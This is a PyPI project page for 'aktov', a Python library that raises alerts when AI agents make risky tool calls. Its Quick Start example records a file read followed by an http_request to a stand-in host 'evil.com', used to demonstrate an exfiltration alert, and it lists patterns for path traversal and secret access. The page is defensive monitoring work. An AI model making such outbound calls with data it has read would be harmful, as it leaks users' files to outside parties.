Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov + 2 lines of code — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

from aktov import Aktov

ak = Aktov(agent_id="my-agent", agent_type="summarizer")
trace = ak.start_trace(declared_intent="answer user question")
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [{"rule_id": "AK-010", "severity": "critical", ...}]

No API key needed. Works immediately after pip install aktov.

Connect to Cloud

Add an API key to unlock cross-trace correlation, dedup, webhooks, and the full ruleset:

ak = Aktov(api_key="ak_...", agent_id="my-agent", agent_type="summarizer")

Custom Rules

Load your own YAML detection rules instead of the bundled samples:

ak = Aktov(agent_id="my-agent", agent_type="summarizer", rules_dir="./my-rules")

What It Does

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • Local rule evaluation: trace.end() evaluates bundled rules instantly — no cloud needed
  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are extracted
  • CLI scanning: aktov scan trace.json — evaluate trace files offline
  • Custom rules: bring your own YAML detection rules via rules_dir
  • Cloud upgrade: add api_key for cross-trace analysis, dedup, webhooks, dashboard

CLI

# Scan traces against bundled detection rules (works offline)
aktov scan trace.json

# Scan with your own rules
aktov scan --rules-dir ./my-rules trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.2.0.tar.gz (35.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.2.0-py3-none-any.whl (38.2 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.2.0.tar.gz.

File metadata

  • Download URL: aktov-0.2.0.tar.gz
  • Upload date:
  • Size: 35.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.2.0.tar.gz
Algorithm Hash digest
SHA256 29a5334352a7de9590547d0742eadbffabfd1409c87111d8e8138fb212b037c3
MD5 c60d8d95bc1e27b557d18c71d3c84d18
BLAKE2b-256 2c95a50df4102efe2046601921b0e6f038f23c6ce316be5e26f86f04cd875faa

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.2.0.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.2.0-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.2.0-py3-none-any.whl
  • Upload date:
  • Size: 38.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.2.0-py3-none-any.whl
Algorithm Hash digest
SHA256 61c19e403097f836b64a387198ea11bf840fde9075d086c76adb498099e19ef0
MD5 4cb9b7c22a76e113dc34d225c70a9091
BLAKE2b-256 9ee6de803071be382da877469a1eeb5ed61a1e3708404a01c39f3fbeefdfb775

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.2.0-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page